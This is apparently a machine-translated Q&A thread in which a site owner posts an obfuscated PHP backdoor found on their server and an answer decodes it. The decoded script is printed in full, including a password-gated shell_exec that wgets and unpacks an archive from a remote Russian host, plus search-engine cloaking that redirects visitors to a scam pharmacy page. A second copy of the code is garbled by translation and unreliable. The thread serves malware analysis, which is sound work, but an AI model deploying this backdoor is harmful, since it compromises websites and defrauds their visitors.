宇航基准.php“;病毒脚本

宇航基准.php“;病毒脚本,php,xss,Php,Xss,有没有人听说过这件事: Astronic-benchmark.php脚本被上传到我的网站上,并在那里做了一些事情。我很好奇他们做了什么,因为他们不是非常恶意的黑客,只是为了植入上述文件而更改了我的.htaccess文件。下面是代码,有人知道它做什么吗 <?php $wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n";$osyifa

有没有人听说过这件事:

Astronic-benchmark.php脚本被上传到我的网站上,并在那里做了一些事情。我很好奇他们做了什么,因为他们不是非常恶意的黑客,只是为了植入上述文件而更改了我的.htaccess文件。下面是代码,有人知道它做什么吗

<?php $wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n";$osyifa = $wzkaou('$a',strrev(';)a$(lave')); $osyifa(strrev(';))"==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"(edoced_46esab(lave'));?>

我们的第一行:

$wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n";
$osyifa = $wzkaou('$a',strrev(';)a$(lave'));
所以我们可以弄清楚这是怎么回事:

echo $wzkaou; // outputs create_function
下一行是:

$wzkaou="\x63"."\x72"."\x65"."\x61"."\x74"."e".chr(95).chr(102)."\x75"."\x6e"."\x63"."\x74"."\x69"."o"."n";
$osyifa = $wzkaou('$a',strrev(';)a$(lave'));
因为我们知道$wzkaou是
“create\u function”
,所以这里调用的就是这个函数。第一个参数是
“$a”
,第二个参数是:

echo strrev(';)a$(lave'); // eval($a);
因此,基本上我们正在执行:

create_function('$a', 'eval($a)');
传递给此函数的参数也可以这样确定:

echo strrev(';))"==gCN0XCJoQD9lQCJo[...]dp1Was9VZtlGdfRXZzpQD"(edoced_46esab(lave'); 
这就产生了:

eval(base64_decode("DQpzZXRfdGltZ[...]JCQl9DQoJCX0NCg=="));
最后,当我们
base64\u decode()
这样做时,它会产生:

set_time_limit(0);

function get_page_by_curl($url,$useragent="Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.131 Safari/537.36"){
        $ch = curl_init ();
        curl_setopt ($ch, CURLOPT_URL,$url);
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt ($ch, CURLOPT_TIMEOUT, 30);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt ($ch, CURLOPT_USERAGENT, $useragent);
        $result = curl_exec ($ch);
        curl_close($ch);
        return $result;
}

        $doorcontent="";
        $x=@$_POST["pppp_check"];
        $md5pass="e5e4570182820af0a183ce1520afe43b";

        $host=@$_SERVER["HTTP_HOST"];
        $uri=@$_SERVER["REQUEST_URI"];
        $host=str_replace("www.","",$host);
        $md5host=md5($host);
        $urx=$host.$uri;
        $md5urx=md5($urx);

        if (function_exists('sys_get_temp_dir')) {$tmppath = sys_get_temp_dir();} else {$tmppath = (dirname(__FILE__));}

        $cdir=$tmppath."/.".$md5host."/";



        $domain=base64_decode("ay1maXNoLWthLnJ1");

        if ($x!=""){
            $p=md5(base64_decode(@$_POST["p"]));
            if ($p!=$md5pass)return;

            if (($x=="2")||($x=="4")){
                echo "###UPDATING_FILES###\n";
                if ($x=="2"){
                    $cmd="cd $tmppath; rm -rf .$md5host";
                    echo shell_exec($cmd);
                }
                $cmd="cd $tmppath; wget http://$domain/outp/wp/arc/$md5host.tgz -O 1.tgz; tar -xzf 1.tgz; rm -rf 1.tgz";
                echo shell_exec($cmd);
                exit;
            }
            if ($x=="3"){
                echo "###WORKED###\n";exit;
            }
        }else{
            $curx=$cdir.$md5urx;
            if (@file_exists($curx)){
                @list($IDpack,$mk,$doorcontent)=@explode("|||",@base64_decode(@file_get_contents($curx)));
                $bot=0;
                $se=0;
                $mobile=0;
                if (preg_match("#google|gsa-crawler|AdsBot-Google|Mediapartners|Googlebot-Mobile|spider|bot|yahoo|google web preview|mail\.ru|crawler|baiduspider#i", @$_SERVER["HTTP_USER_AGENT" ]))$bot=1;
                if (preg_match("#android|symbian|iphone|ipad|series60|mobile|phone|wap|midp|mobi|mini#i", @$_SERVER["HTTP_USER_AGENT" ]))$mobile=1;
                if (preg_match("#google|bing\.com|msn\.com|ask\.com|aol\.com|altavista|search|yahoo|conduit\.com|charter\.net|wow\.com|mywebsearch\.com|handycafe\.com|babylon\.com#i", @$_SERVER["HTTP_REFERER" ]))$se=1;
                if ($bot) {echo $doorcontent;exit;}
                if ($se) {echo get_page_by_curl("http://$domain/lp.php?ip=".$IDpack."&mk=".rawurlencode($mk)."&d=".$md5host."&u=".$md5urx."&addr=".$_SERVER["REMOTE_ADDR"],@$_SERVER["HTTP_USER_AGENT"]);exit;}

                header($_SERVER['SERVER_PROTOCOL'] . " 404 Not Found");
                echo '<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">' . "\n";
                echo '<html><head>' . "\n";
                echo '<title>404 Not Found</title>' . "\n";
                echo '</head><body>' . "\n";
                echo '<h1>Not Found</h1>' . "\n";
                echo '<p>The requested URL ' . $_SERVER['REQUEST_URI'] . ' was not found on this server.</p>' . "\n";
                echo '<hr>' . "\n";
                echo '<address>' . $_SERVER['SERVER_SOFTWARE'] . ' PHP/' . phpversion() . ' Server at ' . $_SERVER['HTTP_HOST'] . ' Port 80</address>' . "\n";
                echo '</body></html>';
                exit;
            }else{
                $crurl="http://".@$_SERVER['HTTP_HOST'].@$_SERVER['REQUEST_URI'];
                echo get_page_by_curl($crurl);
            }
        }
设置时间限制(0);
函数get_page_by_curl($url,$useragent=“Mozilla/5.0(Windows NT 6.1;WOW64)AppleWebKit/537.36(KHTML,如Gecko)Chrome/34.0.1847.131 Safari/537.36”){
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,$URL);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_超时,30);
curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($ch,CURLOPT_USERAGENT,$USERAGENT);
$result=curl\u exec($ch);
卷曲关闭($ch);
返回$result;
}
$doorcontent=“”;
$x=@$_POST[“pppp_检查”];
$md5pass=“e5e4570182820af0a183ce1520afe43b”;
$host=@$_服务器[“HTTP_主机”];
$uri=@$_服务器[“请求_uri”];
$host=str_replace(“www.,”,$host);
$md5host=md5($host);
$urx=$host.$uri;
$md5urx=md5($urx);
如果(函数_存在('sys_get_temp_dir'){$tmppath=sys_get_temp_dir();}否则{$tmppath=(dirname(uu FILE_u));}
$cdir=$tmppath./。$md5host./”;
$domain=base64_解码(“ay1maXNoLWthLnJ1”);
如果($x!=“”){
$p=md5(base64_解码(@$_POST[“p”]);
如果($p!=$md5pass)返回;
如果($x==“2”)| |($x==“4”)){
回显“#########\n”更新#U文件;
如果($x==“2”){
$cmd=“cd$tmppath;rm-rf.$md5host”;
echo shell_exec($cmd);
}
$cmd=“cd$tmppath;wget http://$domain/outp/wp/arc/$md5host.tgz-O 1.tgz;tar-xzf 1.tgz;rm-rf 1.tgz”;
echo shell_exec($cmd);
出口
}
如果($x==“3”){
回声“#########\n”退出;
}
}否则{
$curx=$cdir.$md5urx;
如果(@file_存在($curx)){
@list($IDpack,$mk,$doorcontent)=@explode(“| | | |””,@base64_decode(@file_get_contents($curx));
$bot=0;
$se=0;
$mobile=0;
如果(preg|u match(“#google | gsa crawler | AdsBot google | Mediapartners | Googlebot Mobile | spider | bot | yahoo | google web preview | mail\.ru | crawler | baiduspider | i |,@$| SERVER[“HTTP|u USER | u AGENT”))$bot 1;
如果(preg|u match(“android | symbian | iphone | ipad |系列60 | mobile | phone | wap | midp | mobi | mini | i”、@$|服务器[“HTTP|U用户|代理])$mobile=1;
如果(preg|u match(“#google | bing\.com | msn\.com | ask\.com | aol\.com | altavista | search | yahoo | conductor\.com | charter\.net | wow\.com | mywebsearch\.com | handycafe\.com |巴比伦\.com | i |,@$| u服务器[“HTTP | u REFERER”]))$se=1;
if($bot){echo$doorcontent;exit;}
如果($se){echo get_page_by_curl($http://$domain/lp.php?ip=“.IDpack.”&mk=“.rawurlencode($mk)。”&d=“.md5host.”&u=“.md5urx.”&addr=“.$”服务器[“远程地址”],@$\u服务器[“http\u用户\u代理]);退出;}
标题($_服务器['SERVER_协议]]“404未找到”);
回显“”。“\n”;
回显“”。“\n”;
回显“404未找到”。“\n”;
回显“”。“\n”;
回显“未找到”。“\n”;
echo“请求的URL”。$\u服务器['REQUEST\u URI']”在此服务器上找不到。

。“\n”; 回显“
”。“\n”; 回显'.$'服务器['SERVER\u软件'].'PHP/'.phpversion().'服务器位于'.$'服务器['HTTP\u主机'.'端口80'。“\n”; 回声'; 出口 }否则{ $crurl=“http://”@$\u服务器['http\u主机].@$\u服务器['REQUEST\u URI']; echo逐卷获取页面($crurl); } }
正如Mike指出的,您的代码是一个模糊性很差的脚本(使用base 64字符串编码和反转字符串/十六进制方法来隐藏它,这很容易解码)。这些方法可能只用于保持脚本的完整性(因为纯文本字符串很有可能会被损坏-Base64编码可以避免这种情况)

看看解码后的版本,当普通用户从搜索引擎结果加载页面时,它似乎是一个脚本,用于加载位于k-fish-ka.ru/lp.php的网页,而不是您的页面。直接导航到您的页面不会加载假冒网站而不是您的网站,因此您不会注意到差异,除非您在搜索引擎结果中找到您的页面(或者伪造http头,表示您从google.com被引用进行测试)。这可能就是为什么他们只在搜索引擎点击时注入页面,从而对通常直接访问网站的网站创建者隐藏页面


被注射的页面本身就是一个骗局在线药房页面(我不建议访问源页面,因为它可能是一个骗局,但就是这样)。该页面似乎是另一个网站www.maximumstoretab.com的直接复制/粘贴(这本身很可能是一个骗局),从页面底部的版权信息可以看出

此脚本下载一个压缩文件,表面上包含其他恶意软件或骗子想要的任何东西。